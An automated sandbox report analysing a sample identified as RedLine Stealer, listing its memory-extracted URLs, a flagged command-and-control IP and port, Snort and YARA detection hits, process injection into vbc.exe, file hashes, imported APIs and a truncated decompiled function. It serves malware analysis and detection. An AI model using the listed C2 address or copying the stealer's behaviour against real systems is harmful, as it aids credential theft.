http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8Response	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	false		high
https://search.yahoo.com?fr=crmas_sfpf	vbc.exe, 00000002.00000002.332247894.0000000007CA0000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.330728531.0000000007B26000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.327339075.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.330872085.0000000007B43000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332575224.0000000007CFC000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331905691.0000000007C3F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.330330171.0000000007A90000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328673788.0000000006D69000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332354289.0000000007CBD000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331820122.0000000007C22000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331379186.0000000007BA4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332713200.0000000007D19000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331508631.0000000007BC1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328275264.0000000006CDB000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.333020320.0000000007D7B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.327771596.0000000006C4E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id23Response	vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328723679.0000000006D76000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/06/addressingex	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
94.131.106.170	unknown	Ukraine		29632	NASSIST-ASGI	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	736716
Start date and time:	2022-11-03 06:54:25 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	w5OsHBiADi.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/2@0/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 21.6% (good quality ratio 16.1%) Quality average: 47.7% Quality standard deviation: 33.6%
HCA Information:	Successful, ratio: 91% Number of executed functions: 225 Number of non-executed functions: 69
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
06:55:53	API Interceptor	20x Sleep call for process: vbc.exe modified

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vbc.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2752
Entropy (8bit):	5.335270411216887
Encrypted:	false
SSDEEP:	48:MxHKXeHKlEHU0YHKhQnouHIWUfHKhBHKdHKBfHK5AHKzvQTHmtHoxHImHKx1qHjq:iqXeqm00YqhQnouOqLqdqNq2qzcGtIx4
MD5:	325ECAAB191D9F741B127964E978A5D3
SHA1:	B5E61B16E9399D102A00613323001CD69AC3E97A
SHA-256:	38B47B7B5BA6D77CED448D8396426AC9B6C722A12F61793D3FD79E3AD1615123
SHA-512:	D5017FC87DA83B8A1B336B3FBF779CB5040F3C0AD4FD4D9D661E7D953C816648D09D24A46B8C3A75F65CE717E237E350F0489EC3491844D791D4AFE2E8368BD4
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\820a27781e8540ca263d835ec155f1a5\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\889128adc9a7c9370e5e293f65060164\PresentationFramework.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Wi

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\w5OsHBiADi.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	2.725480556997868
Encrypted:	false
SSDEEP:	3:PlTEn:hEn
MD5:	58895EA9D9E8D5A076E0F3093CEE1D0A
SHA1:	14911256088C002EAA717258E9D784D0899E6CC6
SHA-256:	568A89D4B85721A0D2E62B1DD744125FFE0A10127420FB6468FAFC7E529754D3
SHA-512:	CDF6EC11986CDD9F05C71AFBD66E124D01B6834E695BA17C1BB0B851AE0E2FBD8826102D67A77438376BC6789D815D6FB8DBC06703C11156FEA84BFBDD855C6C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	136527654

CloseHandle, CreateSemaphoreW, CreateThread, DeleteCriticalSection, EnterCriticalSection, FreeConsole, FreeLibrary, GetCurrentProcess, GetCurrentProcessId, GetCurrentProcessorNumber, GetCurrentThreadId, GetLastError, GetModuleHandleA, GetModuleHandleW, GetProcAddress, GetStartupInfoA, GetSystemTimeAsFileTime, GetTickCount, InitializeCriticalSection, IsDBCSLeadByteEx, LeaveCriticalSection, LoadLibraryA, MultiByteToWideChar, QueryPerformanceCounter, ReleaseSemaphore, SetLastError, SetUnhandledExceptionFilter, Sleep, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, VirtualProtect, VirtualQuery, WaitForSingleObject, WideCharToMultiByte

msvcrt.dll

___mb_cur_max_func, __doserrno, __getmainargs, __initenv, __lconv_init, __p__acmdln, __p__fmode, __pioinfo, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _errno, _fdopen, _filelengthi64, _fileno, _fileno, _fstat64, _initterm, _iob, _lseeki64, _onexit, _read, _strnicmp, _write, _write, abort, atoi, calloc, exit, fclose, fflush, fgetpos, fopen, fprintf, fputc, fputs, fread, free, fsetpos, fwrite, getc, getwc, isspace, iswctype, localeconv, malloc, memchr, memcmp, memcpy, memmove, memset, putc, putwc, realloc, setlocale, setvbuf, signal, sprintf, strchr, strcmp, strcoll, strerror, strftime, strlen, strncmp, strtoul, strxfrm, towlower, towupper, ungetc, ungetwc, vfprintf, wcscoll, wcsftime, wcslen, wcsxfrm

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.394.131.106.17049702474762850027 11/03/22-06:55:39.192710	TCP	2850027	ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init	49702	47476	192.168.2.3	94.131.106.170
94.131.106.170192.168.2.347476497022850353 11/03/22-06:55:41.264944	TCP	2850353	ETPRO MALWARE Redline Stealer TCP CnC - Id1Response	47476	49702	94.131.106.170	192.168.2.3
192.168.2.394.131.106.17049702474762850286 11/03/22-06:55:55.609626	TCP	2850286	ETPRO TROJAN Redline Stealer TCP CnC Activity	49702	47476	192.168.2.3	94.131.106.170

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 3, 2022 06:55:38.801990986 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:38.839205027 CET	47476	49702	94.131.106.170	192.168.2.3
Nov 3, 2022 06:55:38.839350939 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:39.192709923 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:39.226722002 CET	47476	49702	94.131.106.170	192.168.2.3
Nov 3, 2022 06:55:39.396878004 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:41.203346968 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:41.264944077 CET	47476	49702	94.131.106.170	192.168.2.3
Nov 3, 2022 06:55:41.397005081 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:48.895641088 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:48.945244074 CET	47476	49702	94.131.106.170	192.168.2.3
Nov 3, 2022 06:55:48.945276022 CET	47476	49702	94.131.106.170	192.168.2.3
Nov 3, 2022 06:55:48.945297003 CET	47476	49702	94.131.106.170	192.168.2.3
Nov 3, 2022 06:55:48.945393085 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:48.991370916 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:51.212584972 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:51.286027908 CET	47476	49702	94.131.106.170	192.168.2.3
Nov 3, 2022 06:55:51.307440996 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:51.336626053 CET	47476	49702	94.131.106.170	192.168.2.3
Nov 3, 2022 06:55:51.382313967 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:51.942454100 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:51.986710072 CET	47476	49702	94.131.106.170	192.168.2.3
Nov 3, 2022 06:55:52.038511992 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:52.124536991 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:52.160415888 CET	47476	49702	94.131.106.170	192.168.2.3
Nov 3, 2022 06:55:52.172444105 CET	47476	49702	94.131.106.170	192.168.2.3
Nov 3, 2022 06:55:52.226016045 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:52.352951050 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:52.395809889 CET	47476	49702	94.131.106.170	192.168.2.3
Nov 3, 2022 06:55:52.395843983 CET	47476	49702	94.131.106.170	192.168.2.3
Nov 3, 2022 06:55:52.444905996 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:52.595912933 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:52.652674913 CET	47476	49702	94.131.106.170	192.168.2.3
Nov 3, 2022 06:55:52.694787025 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:54.660109043 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:54.692207098 CET	47476	49702	94.131.106.170	192.168.2.3
Nov 3, 2022 06:55:54.692233086 CET	47476	49702	94.131.106.170	192.168.2.3
Nov 3, 2022 06:55:54.724263906 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:54.802105904 CET	47476	49702	94.131.106.170	192.168.2.3
Nov 3, 2022 06:55:54.851310968 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:55.433123112 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:55.463476896 CET	47476	49702	94.131.106.170	192.168.2.3
Nov 3, 2022 06:55:55.487023115 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:55.517103910 CET	47476	49702	94.131.106.170	192.168.2.3
Nov 3, 2022 06:55:55.531101942 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:55.568156004 CET	47476	49702	94.131.106.170	192.168.2.3
Nov 3, 2022 06:55:55.569201946 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:55.608551025 CET	47476	49702	94.131.106.170	192.168.2.3
Nov 3, 2022 06:55:55.609626055 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:55.677962065 CET	47476	49702	94.131.106.170	192.168.2.3
Nov 3, 2022 06:55:55.726402044 CET	49702	47476	192.168.2.3	94.131.106.170
Nov 3, 2022 06:55:55.872332096 CET	49702	47476	192.168.2.3	94.131.106.170

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: w5OsHBiADi.exePID: 5816, Parent PID: 3452

General

Target ID:	0
Start time:	06:55:16
Start date:	03/11/2022
Path:	C:\Users\user\Desktop\w5OsHBiADi.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\w5OsHBiADi.exe
Imagebase:	0x400000
File size:	1559040 bytes
MD5 hash:	606F7046BD99A0FA7DBE44D4C7B3FE03
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.251937830.0000000000734000.00000004.00000010.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000003.248830219.0000000000922000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5804, Parent PID: 5816

General

Target ID:	1
Start time:	06:55:16
Start date:	03/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: vbc.exePID: 101104, Parent PID: 5816

General

Target ID:	2
Start time:	06:55:21
Start date:	03/11/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Imagebase:	0x380000
File size:	2688096 bytes
MD5 hash:	B3A917344F5610BEEC562556F11300FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: w5OsHBiADi.exePID: 5816, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	2.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	11.6%
Total number of Nodes:	352
Total number of Limit Nodes:	6

Executed Functions

Function 0040115C Relevance: 19.7, APIs: 13, Instructions: 199
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 004011A2
SetUnhandledExceptionFilter.KERNEL32 ref: 00401223
__p__acmdln.MSVCRT ref: 0040124C
malloc.MSVCRT ref: 004012E2
strlen.MSVCRT ref: 0040131B
malloc.MSVCRT ref: 00401326
memcpy.MSVCRT ref: 0040133C
GetStartupInfoA.KERNEL32 ref: 00401433

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandled__p__acmdlnmemcpystrlen
String ID:
API String ID: 1672962128-0
Opcode ID: 29d11207a53be4777e109476aa201eac314a47ea697bb1443d6bb0f6f7b07217
Instruction ID: 52a5a21f6eea9fe66ee690a35685afca6f5c86fc0c16252103caa5ec79b68b36
Opcode Fuzzy Hash: 29d11207a53be4777e109476aa201eac314a47ea697bb1443d6bb0f6f7b07217
Instruction Fuzzy Hash: 6981B2B09043008FD724DF69E88575A77F1FF54304F10443ED949AB3A1E7399889EB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00405B5F Relevance: 4.9, Strings: 1, Instructions: 3649
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E00405B5F(char _a4) {
				void* _v24;
				intOrPtr _v36;
				char _v37;
				char _v38;
				char _v39;
				signed char _v40;
				intOrPtr _v44;
				signed char _v45;
				intOrPtr _v52;
				signed char _v53;
				intOrPtr _v60;
				signed char _v61;
				intOrPtr _v68;
				char* _v72;
				char _v76;
				char _v80;
				char _v84;
				signed int _v85;
				signed char _v86;
				intOrPtr _v92;
				signed int _v96;
				signed int _v100;
				signed int _v101;
				signed char _v102;
				intOrPtr _v108;
				signed int _v112;
				signed int _v116;
				signed char _v117;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed char _v133;
				intOrPtr _v140;
				signed int _v144;
				signed int _v148;
				signed char _v149;
				intOrPtr _v156;
				signed int _v160;
				signed int _v164;
				signed char _v165;
				intOrPtr _v172;
				signed int _v176;
				signed int _v180;
				signed char _v181;
				intOrPtr _v188;
				signed int _v192;
				signed int _v196;
				signed char _v197;
				intOrPtr _v204;
				signed int _v208;
				signed int _v212;
				signed char _v213;
				intOrPtr _v220;
				signed int _v224;
				signed int _v228;
				signed char _v229;
				intOrPtr _v236;
				signed int _v240;
				signed int _v244;
				signed char _v245;
				intOrPtr _v252;
				signed int _v256;
				signed int _v260;
				signed char _v261;
				intOrPtr _v268;
				signed int _v272;
				signed int _v276;
				signed char _v277;
				intOrPtr _v284;
				signed int _v288;
				signed int _v292;
				signed char _v293;
				intOrPtr _v300;
				signed int _v304;
				signed int _v308;
				signed char _v309;
				intOrPtr _v316;
				signed int _v320;
				signed int _v324;
				signed char _v325;
				intOrPtr _v332;
				signed int _v336;
				signed int _v340;
				signed char _v341;
				intOrPtr _v348;
				signed int _v352;
				signed int _v356;
				signed char _v357;
				intOrPtr _v364;
				signed int _v368;
				signed int _v372;
				signed char _v373;
				intOrPtr _v380;
				signed int _v384;
				signed int _v388;
				signed char _v389;
				intOrPtr _v396;
				signed int _v400;
				signed int _v404;
				signed char _v405;
				intOrPtr _v412;
				signed int _v416;
				signed int _v420;
				signed char _v421;
				intOrPtr _v428;
				signed int _v432;
				signed int _v436;
				signed char _v437;
				intOrPtr _v444;
				signed int _v448;
				signed int _v452;
				signed char _v453;
				intOrPtr _v460;
				signed int _v464;
				signed int _v468;
				signed char _v469;
				intOrPtr _v476;
				signed int _v480;
				signed int _v484;
				signed char _v485;
				intOrPtr _v492;
				signed int _v496;
				signed int _v500;
				signed char _v501;
				intOrPtr _v508;
				signed int _v512;
				signed int _v516;
				signed char _v517;
				intOrPtr _v524;
				signed int _v528;
				signed int _v532;
				signed char _v533;
				intOrPtr _v540;
				signed int _v544;
				signed int _v548;
				signed char _v549;
				intOrPtr _v556;
				signed int _v560;
				signed int _v564;
				signed char _v565;
				intOrPtr _v572;
				signed int _v576;
				signed int _v580;
				signed char _v581;
				intOrPtr _v588;
				signed int _v592;
				signed int _v596;
				signed char _v597;
				intOrPtr _v604;
				signed int _v608;
				signed int _v612;
				signed char _v613;
				intOrPtr _v620;
				signed int _v624;
				signed int _v628;
				signed char _v629;
				intOrPtr _v636;
				signed int _v640;
				signed int _v644;
				signed char _v645;
				intOrPtr _v652;
				signed int _v656;
				signed int _v660;
				signed char _v661;
				intOrPtr _v668;
				signed int _v672;
				signed int _v676;
				signed char _v677;
				intOrPtr _v684;
				signed int _v688;
				signed int _v692;
				signed char _v693;
				intOrPtr _v700;
				signed int _v704;
				signed int _v708;
				signed char _v709;
				intOrPtr _v716;
				signed int _v720;
				signed int _v724;
				signed char _v725;
				intOrPtr _v732;
				signed int _v736;
				signed int _v740;
				signed char _v741;
				intOrPtr _v748;
				signed int _v752;
				signed int _v756;
				signed char _v757;
				intOrPtr _v764;
				signed int _v768;
				signed int _v772;
				signed char _v773;
				intOrPtr _v780;
				signed int _v784;
				signed int _v788;
				signed char _v789;
				intOrPtr _v796;
				signed int _v800;
				signed int _v804;
				signed char _v805;
				intOrPtr _v812;
				signed int _v816;
				signed int _v820;
				signed char _v821;
				intOrPtr _v828;
				signed int _v832;
				signed int _v836;
				signed char _v837;
				intOrPtr _v844;
				signed int _v848;
				signed int _v852;
				signed char _v853;
				intOrPtr _v860;
				signed int _v864;
				signed int _v868;
				signed char _v869;
				intOrPtr _v876;
				signed int _v880;
				signed int _v884;
				signed char _v885;
				intOrPtr _v892;
				signed int _v896;
				signed int _v900;
				signed char _v901;
				char _v908;
				signed int _v912;
				signed int _v916;
				signed char _v917;
				intOrPtr _v924;
				signed int _v928;
				signed int _v932;
				signed char _v933;
				char _v940;
				signed int _v944;
				signed int _v948;
				signed char _v949;
				intOrPtr _v956;
				signed int _v960;
				signed int _v964;
				signed char _v965;
				char _v972;
				signed int _v976;
				signed int _v980;
				signed char _v981;
				char _v988;
				signed int _v992;
				signed int _v996;
				signed char _v997;
				intOrPtr _v1004;
				signed int _v1008;
				signed int _v1012;
				signed char _v1013;
				intOrPtr _v1020;
				signed int _v1024;
				signed int _v1028;
				signed char _v1029;
				intOrPtr _v1036;
				signed int _v1040;
				signed int _v1044;
				signed char _v1045;
				intOrPtr _v1052;
				signed int _v1056;
				signed int _v1060;
				signed char _v1061;
				intOrPtr _v1068;
				signed int _v1072;
				signed int _v1076;
				signed char _v1077;
				intOrPtr _v1084;
				signed int _v1088;
				signed int _v1092;
				signed char _v1093;
				intOrPtr _v1100;
				signed int _v1104;
				signed int _v1108;
				signed char _v1109;
				intOrPtr _v1116;
				signed int _v1120;
				signed int _v1124;
				signed char _v1125;
				intOrPtr _v1132;
				signed int _v1136;
				signed int _v1140;
				signed char _v1141;
				intOrPtr _v1148;
				signed int _v1152;
				signed int _v1156;
				signed char _v1157;
				intOrPtr _v1164;
				signed int _v1168;
				signed int _v1172;
				signed char _v1173;
				intOrPtr _v1180;
				signed int _v1184;
				signed int _v1188;
				signed char _v1189;
				intOrPtr _v1196;
				signed int _v1200;
				signed int _v1204;
				signed char _v1205;
				intOrPtr _v1212;
				signed int _v1216;
				signed int _v1220;
				signed char _v1221;
				intOrPtr _v1228;
				signed int _v1232;
				signed int _v1236;
				signed char _v1237;
				intOrPtr _v1244;
				signed int _v1248;
				signed int _v1252;
				signed char _v1253;
				intOrPtr _v1260;
				signed int _v1264;
				signed int _v1268;
				signed char _v1269;
				intOrPtr _v1276;
				signed int _v1280;
				signed int _v1284;
				signed char _v1285;
				intOrPtr _v1292;
				signed int _v1296;
				signed int _v1300;
				signed char _v1301;
				intOrPtr _v1308;
				signed int _v1312;
				signed int _v1316;
				signed char _v1317;
				char _v1324;
				signed int _v1328;
				signed int _v1332;
				signed char _v1333;
				char _v1340;
				signed int _v1344;
				signed int _v1348;
				signed char _v1349;
				char _v1356;
				signed int _v1360;
				signed int _v1364;
				signed char _v1365;
				char _v1372;
				signed int _v1376;
				signed int _v1380;
				signed char _v1381;
				char _v1388;
				signed int _v1392;
				signed int _v1396;
				signed char _v1397;
				char _v1404;
				signed int _v1408;
				signed int _v1412;
				signed char _v1413;
				char _v1420;
				signed int _v1424;
				signed int _v1428;
				signed int _v1456;
				char _v1457;
				char _v1458;
				char _v1459;
				char _v1468;
				intOrPtr _v1472;
				intOrPtr _v1476;
				intOrPtr _v1480;
				intOrPtr _v1484;
				intOrPtr _v1488;
				intOrPtr _v1492;
				intOrPtr _v1496;
				intOrPtr _v1500;
				intOrPtr _v1504;
				intOrPtr _v1508;
				intOrPtr _v1512;
				intOrPtr _v1516;
				intOrPtr _v1520;
				intOrPtr _v1524;
				intOrPtr _v1528;
				intOrPtr _v1532;
				intOrPtr _v1536;
				intOrPtr _v1540;
				intOrPtr _v1544;
				intOrPtr _v1548;
				intOrPtr _v1552;
				intOrPtr _v1556;
				intOrPtr _v1560;
				intOrPtr _v1564;
				intOrPtr _v1568;
				intOrPtr _v1572;
				intOrPtr _v1576;
				intOrPtr _v1580;
				intOrPtr _v1584;
				intOrPtr _v1588;
				intOrPtr _v1592;
				intOrPtr _v1596;
				intOrPtr _v1600;
				intOrPtr _v1604;
				intOrPtr _v1608;
				intOrPtr _v1612;
				intOrPtr _v1616;
				intOrPtr _v1620;
				intOrPtr _v1624;
				intOrPtr _v1628;
